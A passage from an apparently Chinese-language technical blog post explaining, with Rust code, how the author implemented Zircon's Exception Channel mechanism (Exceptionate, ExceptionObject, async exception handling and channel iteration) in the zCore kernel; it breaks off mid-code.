<p>对于异常正在被处理的线程,它应该处于 BlockedException 状态(线程退出的异常除外),并且此时如果使用 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_get_info" target="_blank" rel="noopener">zx_object_get_info</a> 系统调用通过传入 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_get_info#zx_info_thread" target="_blank" rel="noopener">ZX_INFO_THREAD</a> 信息类型查看线程的信息,除了能够得知线程的状态,还应该可以得知现在是在通过什么种类的 Exception Channel 处理异常。此外如果在 zx_object_get_info 系统调用中传入 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_get_info#zx_info_thread_exception_report" target="_blank" rel="noopener">ZX_INFO_THREAD_EXCEPTION_REPORT</a> 信息类型,还能得到线程当前的异常的基本信息。另外如果使用 zx_object_get_info 系统调用通过传入 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_get_info#zx_info_process" target="_blank" rel="noopener">ZX_INFO_PROCESS</a> 信息类型查看进程的信息,可以看到进程有没有被建立调试用的 Exception Channel。</p>
<p>现在文档已经读得差不多了,可以开始实现了。</p>
<h2 id="在-zcore-中实现-exception-channel">在 zCore 中实现 Exception Channel</h2>
<p>zCore 中 Exception Channel 机制的实现与 zircon 中的类似,但是略有不同。接下来我们来对此进行介绍。这里列出的代码是我的 PR 中的原始代码,和现在的版本可能略有差异,但大体思路是一致的。</p>
<h3 id="exceptionate">Exceptionate</h3>
<p>首先,在各种 Task 内应该有用于存放用于发送异常的结构,我们称之为 <code class="language-plaintext highlighter-rouge">Exceptionate</code> :</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">pub</span> <span class="k">struct</span> <span class="n">Exceptionate</span> <span class="p">{</span>
<span class="n">type_</span><span class="p">:</span> <span class="n">ExceptionChannelType</span><span class="p">,</span>
<span class="n">inner</span><span class="p">:</span> <span class="n">Mutex</span><span class="o"><</span><span class="n">ExceptionateInner</span><span class="o">></span><span class="p">,</span>
<span class="p">}</span>
<span class="k">struct</span> <span class="n">ExceptionateInner</span> <span class="p">{</span>
<span class="n">channel</span><span class="p">:</span> <span class="nb">Option</span><span class="o"><</span><span class="nb">Arc</span><span class="o"><</span><span class="n">Channel</span><span class="o">>></span><span class="p">,</span>
<span class="n">thread_rights</span><span class="p">:</span> <span class="n">Rights</span><span class="p">,</span>
<span class="n">process_rights</span><span class="p">:</span> <span class="n">Rights</span><span class="p">,</span>
<span class="n">shutdowned</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以看到我们在 <code class="language-plaintext highlighter-rouge">Exceptionate</code> 内存放了这些信息</p>
<ul>
<li>Exception Channel 的类型</li>
<li>现在正在已经创建好的 Exception Channel 的发送端</li>
<li>从这里发送的 Exception 中获取的线程和进程的 Handle 应有的权限,在创建 Exception Channel 时会根据传入的 Task 的 Handle 的权限设置</li>
<li>是否已经关闭了 Exception Channel。这是为了避免在已经结束了的 Task 上创建 Exception Channel 而设置的</li>
</ul>
<p>现在让我们创建 Exception Channel :</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">impl</span> <span class="n">Exceptionate</span><span class="p">{</span>
<span class="k">pub</span> <span class="k">fn</span> <span class="nf">create_channel</span><span class="p">(</span>
<span class="o">&</span><span class="k">self</span><span class="p">,</span>
<span class="n">thread_rights</span><span class="p">:</span> <span class="n">Rights</span><span class="p">,</span>
<span class="n">process_rights</span><span class="p">:</span> <span class="n">Rights</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-></span> <span class="n">ZxResult</span><span class="o"><</span><span class="nb">Arc</span><span class="o"><</span><span class="n">Channel</span><span class="o">>></span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">inner</span> <span class="o">=</span> <span class="k">self</span><span class="py">.inner</span><span class="nf">.lock</span><span class="p">();</span>
<span class="k">if</span> <span class="n">inner</span><span class="py">.shutdowned</span> <span class="p">{</span>
<span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">ZxError</span><span class="p">::</span><span class="n">BAD_STATE</span><span class="p">);</span>
<span class="p">}</span>
<span class="c">// 检查是否已有 Channel</span>
<span class="k">if</span> <span class="k">let</span> <span class="nf">Some</span><span class="p">(</span><span class="n">channel</span><span class="p">)</span> <span class="o">=</span> <span class="n">inner</span><span class="py">.channel</span><span class="nf">.as_ref</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">channel</span><span class="nf">.peer</span><span class="p">()</span><span class="nf">.is_ok</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">ZxError</span><span class="p">::</span><span class="n">ALREADY_BOUND</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c">// 创建与设置信息</span>
<span class="k">let</span> <span class="p">(</span><span class="n">sender</span><span class="p">,</span> <span class="n">receiver</span><span class="p">)</span> <span class="o">=</span> <span class="nn">Channel</span><span class="p">::</span><span class="nf">create</span><span class="p">();</span>
<span class="n">inner</span><span class="py">.channel</span><span class="nf">.replace</span><span class="p">(</span><span class="n">sender</span><span class="p">);</span>
<span class="n">inner</span><span class="py">.process_rights</span> <span class="o">=</span> <span class="n">process_rights</span><span class="p">;</span>
<span class="n">inner</span><span class="py">.thread_rights</span> <span class="o">=</span> <span class="n">thread_rights</span><span class="p">;</span>
<span class="nf">Ok</span><span class="p">(</span><span class="n">receiver</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这里我们建立了一对 Channel,并将发送端保存下来,将接收端返回给调用者。在此之前我们还要检查是否已经被创建了 Exception Channel,由于 Exception Channel 被关闭时我们并不会接到通知,所以需要再检查现有的 Channel 的另一端是否已被关闭了。</p>
<h3 id="exception-和-exceptionobject">Exception 和 ExceptionObject</h3>
<p>接下来我们来看 <code class="language-plaintext highlighter-rouge">Exception</code> 结构:</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">pub</span> <span class="k">struct</span> <span class="n">Exception</span> <span class="p">{</span>
<span class="n">thread</span><span class="p">:</span> <span class="nb">Arc</span><span class="o"><</span><span class="n">Thread</span><span class="o">></span><span class="p">,</span>
<span class="n">type_</span><span class="p">:</span> <span class="n">ExceptionType</span><span class="p">,</span>
<span class="n">report</span><span class="p">:</span> <span class="n">ExceptionReport</span><span class="p">,</span>
<span class="n">inner</span><span class="p">:</span> <span class="n">Mutex</span><span class="o"><</span><span class="n">ExceptionInner</span><span class="o">></span><span class="p">,</span>
<span class="p">}</span>
<span class="k">struct</span> <span class="n">ExceptionInner</span> <span class="p">{</span>
<span class="n">current_channel_type</span><span class="p">:</span> <span class="n">ExceptionChannelType</span><span class="p">,</span>
<span class="n">thread_rights</span><span class="p">:</span> <span class="n">Rights</span><span class="p">,</span>
<span class="n">process_rights</span><span class="p">:</span> <span class="n">Rights</span><span class="p">,</span>
<span class="n">handled</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
<span class="n">second_chance</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>
<p>在 <code class="language-plaintext highlighter-rouge">Exception</code> 结构里我们存放了这些信息</p>
<ul>
<li>产生异常的的线程的引用</li>
<li>异常的类型和有关信息</li>
<li>异常处理的状态,包括
<ul>
<li>当前正在使用的 Exception Channel 的信息,包括种类和能通过 Exception 获取到的线程与进程的 Handle 的权限</li>
<li>异常是否已被解决</li>
<li>Process 上的调试用 Exception Channel 会不会有第二次机会中收到异常</li>
</ul>
</li>
</ul>
<p>这里可以发现我们的 <code class="language-plaintext highlighter-rouge">Exception</code> 结构并不是一个内核对象。这是因为内核对象的生命周期是使用 Rust 的 <code class="language-plaintext highlighter-rouge">Arc</code> 管理的,如果用户程序关闭了内核对象的 Handle,那么内核对象就直接被销毁了。如果 <code class="language-plaintext highlighter-rouge">Exception</code> 是一个内核对象,我们这时就无法继续处理异常了。所以我们的实现在其上多包一层,形成 <code class="language-plaintext highlighter-rouge">ExceptionObject</code> 内核对象:</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">pub</span> <span class="k">struct</span> <span class="n">ExceptionObject</span> <span class="p">{</span>
<span class="n">base</span><span class="p">:</span> <span class="n">KObjectBase</span><span class="p">,</span>
<span class="n">exception</span><span class="p">:</span> <span class="nb">Arc</span><span class="o"><</span><span class="n">Exception</span><span class="o">></span><span class="p">,</span>
<span class="n">close_signal</span><span class="p">:</span> <span class="nb">Option</span><span class="o"><</span><span class="nn">oneshot</span><span class="p">::</span><span class="n">Sender</span><span class="o"><</span><span class="p">()</span><span class="o">>></span><span class="p">,</span>
<span class="p">}</span>
<span class="nd">impl_kobject!</span><span class="p">(</span><span class="n">ExceptionObject</span><span class="p">);</span>
<span class="k">impl</span> <span class="n">Drop</span> <span class="k">for</span> <span class="n">ExceptionObject</span> <span class="p">{</span>
<span class="k">fn</span> <span class="k">drop</span><span class="p">(</span><span class="o">&</span><span class="k">mut</span> <span class="k">self</span><span class="p">)</span> <span class="p">{</span>
<span class="k">self</span><span class="py">.close_signal</span>
<span class="nf">.take</span><span class="p">()</span>
<span class="nf">.and_then</span><span class="p">(|</span><span class="n">signal</span><span class="p">|</span> <span class="n">signal</span><span class="nf">.send</span><span class="p">(())</span><span class="nf">.ok</span><span class="p">());</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这样我们就可以通过实现 <code class="language-plaintext highlighter-rouge">Drop</code> trait ,在 <code class="language-plaintext highlighter-rouge">ExceptionObject</code> 被销毁时通知我们的线程当前 Exception Channel 结束了对 Exception 的操作。</p>
<p>接下来我们就可以将 Exception 发送到用户空间了:</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">impl</span> <span class="n">Exceptionate</span><span class="p">{</span>
<span class="k">pub</span> <span class="k">fn</span> <span class="nf">send_exception</span><span class="p">(</span><span class="o">&</span><span class="k">self</span><span class="p">,</span> <span class="n">exception</span><span class="p">:</span> <span class="o">&</span><span class="nb">Arc</span><span class="o"><</span><span class="n">Exception</span><span class="o">></span><span class="p">)</span> <span class="k">-></span> <span class="n">ZxResult</span><span class="o"><</span><span class="nn">oneshot</span><span class="p">::</span><span class="n">Receiver</span><span class="o"><</span><span class="p">()</span><span class="o">>></span>
<span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">inner</span> <span class="o">=</span> <span class="k">self</span><span class="py">.inner</span><span class="nf">.lock</span><span class="p">();</span>
<span class="k">let</span> <span class="n">channel</span> <span class="o">=</span> <span class="n">inner</span><span class="py">.channel</span><span class="nf">.as_ref</span><span class="p">()</span><span class="nf">.ok_or</span><span class="p">(</span><span class="nn">ZxError</span><span class="p">::</span><span class="n">NEXT</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
<span class="c">// 基本信息</span>
<span class="k">let</span> <span class="n">info</span> <span class="o">=</span> <span class="n">ExceptionInfo</span> <span class="p">{</span>
<span class="n">pid</span><span class="p">:</span> <span class="n">exception</span><span class="py">.thread</span><span class="nf">.proc</span><span class="p">()</span><span class="nf">.id</span><span class="p">(),</span>
<span class="n">tid</span><span class="p">:</span> <span class="n">exception</span><span class="py">.thread</span><span class="nf">.id</span><span class="p">(),</span>
<span class="n">type_</span><span class="p">:</span> <span class="n">exception</span><span class="py">.type_</span><span class="p">,</span>
<span class="n">padding</span><span class="p">:</span> <span class="nn">Default</span><span class="p">::</span><span class="nf">default</span><span class="p">(),</span>
<span class="p">};</span>
<span class="k">let</span> <span class="p">(</span><span class="n">sender</span><span class="p">,</span> <span class="n">receiver</span><span class="p">)</span> <span class="o">=</span> <span class="nn">oneshot</span><span class="p">::</span><span class="nn">channel</span><span class="p">::</span><span class="o"><</span><span class="p">()</span><span class="o">></span><span class="p">();</span>
<span class="c">// 把 Exception 包起来</span>
<span class="k">let</span> <span class="n">object</span> <span class="o">=</span> <span class="nn">ExceptionObject</span><span class="p">::</span><span class="nf">create</span><span class="p">(</span><span class="n">exception</span><span class="nf">.clone</span><span class="p">(),</span> <span class="n">sender</span><span class="p">);</span>
<span class="k">let</span> <span class="n">handle</span> <span class="o">=</span> <span class="nn">Handle</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="n">object</span><span class="p">,</span> <span class="nn">Rights</span><span class="p">::</span><span class="n">DEFAULT_EXCEPTION</span><span class="p">);</span>
<span class="k">let</span> <span class="n">msg</span> <span class="o">=</span> <span class="n">MessagePacket</span> <span class="p">{</span>
<span class="n">data</span><span class="p">:</span> <span class="n">info</span><span class="nf">.pack</span><span class="p">(),</span>
<span class="n">handles</span><span class="p">:</span> <span class="nd">vec!</span><span class="p">[</span><span class="n">handle</span><span class="p">],</span>
<span class="p">};</span>
<span class="n">exception</span><span class="nf">.set_rights</span><span class="p">(</span><span class="n">inner</span><span class="py">.thread_rights</span><span class="p">,</span> <span class="n">inner</span><span class="py">.process_rights</span><span class="p">);</span>
<span class="c">// 发送,处理 Channel 已经关闭的异常</span>
<span class="n">channel</span><span class="nf">.write</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span><span class="nf">.map_err</span><span class="p">(|</span><span class="n">err</span><span class="p">|</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">==</span> <span class="nn">ZxError</span><span class="p">::</span><span class="n">PEER_CLOSED</span> <span class="p">{</span>
<span class="n">inner</span><span class="py">.channel</span><span class="nf">.take</span><span class="p">();</span>
<span class="k">return</span> <span class="nn">ZxError</span><span class="p">::</span><span class="n">NEXT</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">err</span>
<span class="p">})</span><span class="o">?</span><span class="p">;</span>
<span class="nf">Ok</span><span class="p">(</span><span class="n">receiver</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>在发送 Exception 时,我们将 <code class="language-plaintext highlighter-rouge">Exception</code> 包进 <code class="language-plaintext highlighter-rouge">ExceptionObject</code> ,设置 <code class="language-plaintext highlighter-rouge">Exception</code> 内与 Exception Channel 有关的状态,并生成要发送的异常的基本信息结构。这里我们生成了一对 <a href="https://docs.rs/futures/0.3.5/futures/channel/oneshot/index.html" target="_blank" rel="noopener">oneshot channel</a> 用于通知调用者用户程序关闭了 <code class="language-plaintext highlighter-rouge">ExceptionObject</code> 的 Handle,并返回出来。如果没有可用的 Exception Channel ,我们返回 <code class="language-plaintext highlighter-rouge">ZxError::NEXT</code> 指示调用者改用别的方式处理异常。</p>
<h3 id="处理异常">处理异常</h3>
<p>接下来我们可以开始处理异常了:</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">impl</span> <span class="n">Exception</span><span class="p">{</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">handle</span><span class="p">(</span><span class="k">self</span><span class="p">:</span> <span class="o">&</span><span class="nb">Arc</span><span class="o"><</span><span class="n">Self</span><span class="o">></span><span class="p">,</span> <span class="n">fatal</span><span class="p">:</span> <span class="nb">bool</span><span class="p">)</span> <span class="k">-></span> <span class="nb">bool</span> <span class="p">{</span>
<span class="k">self</span><span class="nf">.handle_with_exceptionates</span><span class="p">(</span><span class="n">fatal</span><span class="p">,</span> <span class="nn">ExceptionateIterator</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="k">self</span><span class="p">),</span> <span class="k">false</span><span class="p">)</span>
<span class="k">.await</span>
<span class="p">}</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">handle_with_exceptionates</span><span class="p">(</span>
<span class="k">self</span><span class="p">:</span> <span class="o">&</span><span class="nb">Arc</span><span class="o"><</span><span class="n">Self</span><span class="o">></span><span class="p">,</span>
<span class="n">fatal</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
<span class="n">exceptionates</span><span class="p">:</span> <span class="k">impl</span> <span class="n">IntoIterator</span><span class="o"><</span><span class="n">Item</span> <span class="o">=</span> <span class="nb">Arc</span><span class="o"><</span><span class="n">Exceptionate</span><span class="o">>></span><span class="p">,</span>
<span class="n">first_only</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-></span> <span class="nb">bool</span> <span class="p">{</span>
<span class="k">self</span><span class="py">.thread</span><span class="nf">.set_exception</span><span class="p">(</span><span class="nf">Some</span><span class="p">(</span><span class="k">self</span><span class="nf">.clone</span><span class="p">()));</span>
<span class="k">let</span> <span class="n">future</span> <span class="o">=</span> <span class="k">self</span><span class="nf">.handle_internal</span><span class="p">(</span><span class="n">exceptionates</span><span class="p">,</span> <span class="n">first_only</span><span class="p">);</span>
<span class="c">// 这里我们需要先把 Future Pin 起来才能传进去</span>
<span class="nd">pin_mut!</span><span class="p">(</span><span class="n">future</span><span class="p">);</span>
<span class="k">let</span> <span class="n">result</span><span class="p">:</span> <span class="n">ZxResult</span> <span class="o">=</span> <span class="k">self</span>
<span class="py">.thread</span>
<span class="nf">.blocking_run</span><span class="p">(</span>
<span class="n">future</span><span class="p">,</span>
<span class="nn">ThreadState</span><span class="p">::</span><span class="n">BlockedException</span><span class="p">,</span>
<span class="nn">Duration</span><span class="p">::</span><span class="nf">from_nanos</span><span class="p">(</span><span class="nn">u64</span><span class="p">::</span><span class="nf">max_value</span><span class="p">()),</span>
<span class="p">)</span>
<span class="k">.await</span><span class="p">;</span>
<span class="k">self</span><span class="py">.thread</span><span class="nf">.set_exception</span><span class="p">(</span><span class="nb">None</span><span class="p">);</span>
<span class="k">if</span> <span class="k">let</span> <span class="nf">Err</span><span class="p">(</span><span class="n">err</span><span class="p">)</span> <span class="o">=</span> <span class="n">result</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">==</span> <span class="nn">ZxError</span><span class="p">::</span><span class="n">STOP</span> <span class="p">{</span>
<span class="c">// 线程被 Kill</span>
<span class="k">return</span> <span class="k">false</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="n">err</span> <span class="o">==</span> <span class="nn">ZxError</span><span class="p">::</span><span class="n">NEXT</span> <span class="o">&&</span> <span class="n">fatal</span> <span class="p">{</span>
<span class="c">// 无法处理,终结线程</span>
<span class="k">self</span><span class="py">.thread</span><span class="nf">.proc</span><span class="p">()</span><span class="nf">.exit</span><span class="p">(</span><span class="n">TASK_RETCODE_SYSCALL_KILL</span><span class="p">);</span>
<span class="k">return</span> <span class="k">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">true</span>
<span class="p">}</span>
<span class="k">async</span> <span class="k">fn</span> <span class="nf">handle_internal</span><span class="p">(</span>
<span class="k">self</span><span class="p">:</span> <span class="o">&</span><span class="nb">Arc</span><span class="o"><</span><span class="n">Self</span><span class="o">></span><span class="p">,</span>
<span class="n">exceptionates</span><span class="p">:</span> <span class="k">impl</span> <span class="n">IntoIterator</span><span class="o"><</span><span class="n">Item</span> <span class="o">=</span> <span class="nb">Arc</span><span class="o"><</span><span class="n">Exceptionate</span><span class="o">>></span><span class="p">,</span>
<span class="n">first_only</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-></span> <span class="n">ZxResult</span> <span class="p">{</span>
<span class="k">for</span> <span class="n">exceptionate</span> <span class="n">in</span> <span class="n">exceptionates</span><span class="nf">.into_iter</span><span class="p">()</span> <span class="p">{</span>
<span class="k">let</span> <span class="n">closed</span> <span class="o">=</span> <span class="k">match</span> <span class="n">exceptionate</span><span class="nf">.send_exception</span><span class="p">(</span><span class="k">self</span><span class="p">)</span> <span class="p">{</span>
<span class="c">// 成功发送</span>
<span class="nf">Ok</span><span class="p">(</span><span class="n">receiver</span><span class="p">)</span> <span class="k">=></span> <span class="n">receiver</span><span class="p">,</span>
<span class="c">// 直接尝试下一个 Exceptionate</span>
<span class="nf">Err</span><span class="p">(</span><span class="nn">ZxError</span><span class="p">::</span><span class="n">NEXT</span><span class="p">)</span> <span class="k">=></span> <span class="k">continue</span><span class="p">,</span>
<span class="nf">Err</span><span class="p">(</span><span class="n">err</span><span class="p">)</span> <span class="k">=></span> <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="n">err</span><span class="p">),</span>
<span class="p">};</span>
<span class="k">self</span><span class="py">.inner</span><span class="nf">.lock</span><span class="p">()</span><span class="py">.current_channel_type</span> <span class="o">=</span> <span class="n">exceptionate</span><span class="py">.type_</span><span class="p">;</span>
<span class="c">// 等待处理结束</span>
<span class="n">closed</span><span class="k">.await</span><span class="nf">.ok</span><span class="p">();</span>
<span class="k">let</span> <span class="n">handled</span> <span class="o">=</span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">inner</span> <span class="o">=</span> <span class="k">self</span><span class="py">.inner</span><span class="nf">.lock</span><span class="p">();</span>
<span class="n">inner</span><span class="py">.current_channel_type</span> <span class="o">=</span> <span class="nn">ExceptionChannelType</span><span class="p">::</span><span class="nb">None</span><span class="p">;</span>
<span class="n">inner</span><span class="py">.handled</span>
<span class="p">};</span>
<span class="k">if</span> <span class="n">handled</span> <span class="p">|</span> <span class="n">first_only</span> <span class="p">{</span>
<span class="c">// 若只考虑第一个 Exception Channel 或者异常以解决则直接成功</span>
<span class="k">return</span> <span class="nf">Ok</span><span class="p">(());</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nf">Err</span><span class="p">(</span><span class="nn">ZxError</span><span class="p">::</span><span class="n">NEXT</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>zCore 的一大特色是,在内核态使用了 async await 机制,这里我们也使用 async await 机制实现异常处理。我们的 <code class="language-plaintext highlighter-rouge">handle_with_exceptionates</code> 方法有三个参数:是否需要在无法处理异常时直接终止进程、可能收到异常的 Exception Channel 的迭代器、是否只考虑第一个接收了异常的 Exception Channel (这是为了只给第一个能收到异常的 Job 上的调试用 Exception Channel 发送进程启动的异常)。为了方便普通异常的使用,我们还增添了使用默认 Exception Channel 迭代器 <code class="language-plaintext highlighter-rouge">handle</code> 方法。</p>
<p>在这里,<code class="language-plaintext highlighter-rouge">handle_with_exceptionates</code> 方法调用了 <code class="language-plaintext highlighter-rouge">handle_internal</code> ,并将其返回的的 Future 扔给线程的 <code class="language-plaintext highlighter-rouge">blocking_run</code> 方法运行。这个方法会在运行前后先设置线程的状态,并且在线程被杀死的时候提前终止运行。<code class="language-plaintext highlighter-rouge">handle_with_exceptionates</code> 会检测异常处理的结果,并在需要是结束线程,它的返回值会告知调用者产生异常线程是否已经结束。</p>
<p>而 <code class="language-plaintext highlighter-rouge">handle_internal</code> 方法则是一个大循环,包括以下步骤:</p>
<ul>
<li>从 Exception Channel 迭代器中提取 <code class="language-plaintext highlighter-rouge">Exceptionate</code>, 并调用其上的 <code class="language-plaintext highlighter-rouge">send_exception</code> 方法</li>
<li>检查是不是成功发送了异常,设置 Exception Channel 类型,并等待异常处理完成</li>
<li>判断是否完成了异常是否已被解决,并决定是退出还是继续循环</li>
</ul>
<h3 id="寻找-exceptionate">寻找 Exceptionate</h3>
<p>接下来我们来介绍默认的 Exception Channel 迭代器:<code class="language-plaintext highlighter-rouge">ExceptionateIterator</code></p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">ExceptionateIterator</span><span class="o"><</span><span class="nv">'a</span><span class="o">></span> <span class="p">{</span>
<span class="n">exception</span><span class="p">:</span> <span class="o">&</span><span class="nv">'a</span> <span class="n">Exception</span><span class="p">,</span>
<span class="n">state</span><span class="p">:</span> <span class="n">ExceptionateIteratorState</span><span class="p">,</span>
<span class="p">}</span>
<span class="c">// 各个迭代器状态,各个状态的命名代表接下来考虑哪种 Exception Channel</span>
<span class="k">enum</span> <span class="n">ExceptionateIteratorState</span> <span class="p">{</span>
<span class="c">// 布尔值表示是否是第二次机会</span>
<span class="nf">Debug</span><span class="p">(</span><span class="nb">bool</span><span class="p">),</span>
<span class="n">Thread</span><span class="p">,</span>
<span class="n">Process</span><span class="p">,</span>
<span class="nf">Job</span><span class="p">(</span><span class="nb">Arc</span><span class="o"><</span><span class="n">Job</span><span class="o">></span><span class="p">),</span>
<span class="n">Finished</span><span class="p">,</span>
<span class="p">}</span>
<span class="k">impl</span><span class="o"><</span><span class="nv">'a</span><span class="o">></span> <span class="n">ExceptionateIterator</span><span class="o"><</span><span class="nv">'a</span><span class="o">></span> <span class="p">{</span>
<span class="k">fn</span> <span class="nf">new</span><span class="p">(</span><span class="n">exception</span><span class="p">:</span> <span class="o">&</span><span class="nv">'a</span> <span class="n">Exception</span><span class="p">)</span> <span class="k">-></span> <span class="n">Self</span> <span class="p">{</span>
<span class="n">ExceptionateIterator</span> <span class="p">{</span>
<span class="n">exception</span><span class="p">,</span>
<span class="c">// 从 Process 的调试用 Channel 开始</span>
<span class="n">state</span><span class="p">:</span> <span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="nf">Debug</span><span class="p">(</span><span class="k">false</span><span class="p">),</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">impl</span><span class="o"><</span><span class="nv">'a</span><span class="o">></span> <span class="n">Iterator</span> <span class="k">for</span> <span class="n">ExceptionateIterator</span><span class="o"><</span><span class="nv">'a</span><span class="o">></span> <span class="p">{</span>
<span class="k">type</span> <span class="n">Item</span> <span class="o">=</span> <span class="nb">Arc</span><span class="o"><</span><span class="n">Exceptionate</span><span class="o">></span><span class="p">;</span>
<span class="k">fn</span> <span class="nf">next</span><span class="p">(</span><span class="o">&</span><span class="k">mut</span> <span class="k">self</span><span class="p">)</span> <span class="k">-></span> <span class="nb">Option</span><span class="o"><</span><span class="nn">Self</span><span class="p">::</span><span class="n">Item</span><span class="o">></span> <span class="p">{</span>
<span class="c">// 如上文所说,是 Process 调试用 -> Thread -> Process</span>
<span class="c">// -> Process 调试用第二次 -> Job -> 祖先 Job 的顺序</span>
<span class="k">loop</span> <span class="p">{</span>
<span class="k">match</span> <span class="o">&</span><span class="k">self</span><span class="py">.state</span> <span class="p">{</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="nf">Debug</span><span class="p">(</span><span class="n">second_chance</span><span class="p">)</span> <span class="k">=></span> <span class="p">{</span>
<span class="k">if</span> <span class="o">*</span><span class="n">second_chance</span> <span class="o">&&</span> <span class="o">!</span><span class="k">self</span><span class="py">.exception.inner</span><span class="nf">.lock</span><span class="p">()</span><span class="py">.second_chance</span> <span class="p">{</span>
<span class="c">// 不再需要第二次机会,直接继续</span>
<span class="k">self</span><span class="py">.state</span> <span class="o">=</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="nf">Job</span><span class="p">(</span><span class="k">self</span><span class="py">.exception.thread</span><span class="nf">.proc</span><span class="p">()</span><span class="nf">.job</span><span class="p">());</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">let</span> <span class="n">proc</span> <span class="o">=</span> <span class="k">self</span><span class="py">.exception.thread</span><span class="nf">.proc</span><span class="p">();</span>
<span class="k">self</span><span class="py">.state</span> <span class="o">=</span> <span class="k">if</span> <span class="o">*</span><span class="n">second_chance</span> <span class="p">{</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="nf">Job</span><span class="p">(</span><span class="k">self</span><span class="py">.exception.thread</span><span class="nf">.proc</span><span class="p">()</span><span class="nf">.job</span><span class="p">())</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="n">Thread</span>
<span class="p">};</span>
<span class="k">return</span> <span class="nf">Some</span><span class="p">(</span><span class="n">proc</span><span class="nf">.get_debug_exceptionate</span><span class="p">());</span>
<span class="p">}</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="n">Thread</span> <span class="k">=></span> <span class="p">{</span>
<span class="k">self</span><span class="py">.state</span> <span class="o">=</span> <span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="n">Process</span><span class="p">;</span>
<span class="k">return</span> <span class="nf">Some</span><span class="p">(</span><span class="k">self</span><span class="py">.exception.thread</span><span class="nf">.get_exceptionate</span><span class="p">());</span>
<span class="p">}</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="n">Process</span> <span class="k">=></span> <span class="p">{</span>
<span class="k">let</span> <span class="n">proc</span> <span class="o">=</span> <span class="k">self</span><span class="py">.exception.thread</span><span class="nf">.proc</span><span class="p">();</span>
<span class="k">self</span><span class="py">.state</span> <span class="o">=</span> <span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="nf">Debug</span><span class="p">(</span><span class="k">true</span><span class="p">);</span>
<span class="k">return</span> <span class="nf">Some</span><span class="p">(</span><span class="n">proc</span><span class="nf">.get_exceptionate</span><span class="p">());</span>
<span class="p">}</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="nf">Job</span><span class="p">(</span><span class="n">job</span><span class="p">)</span> <span class="k">=></span> <span class="p">{</span>
<span class="k">let</span> <span class="n">parent</span> <span class="o">=</span> <span class="n">job</span><span class="nf">.parent</span><span class="p">();</span>
<span class="k">let</span> <span class="n">result</span> <span class="o">=</span> <span class="n">job</span><span class="nf">.get_exceptionate</span><span class="p">();</span>
<span class="k">self</span><span class="py">.state</span> <span class="o">=</span> <span class="n">parent</span><span class="nf">.map_or</span><span class="p">(</span>
<span class="nn">ExceptionateIteratorState</span><span class="p">::</span><span class="n">Finished</span><span class="p">,</span>
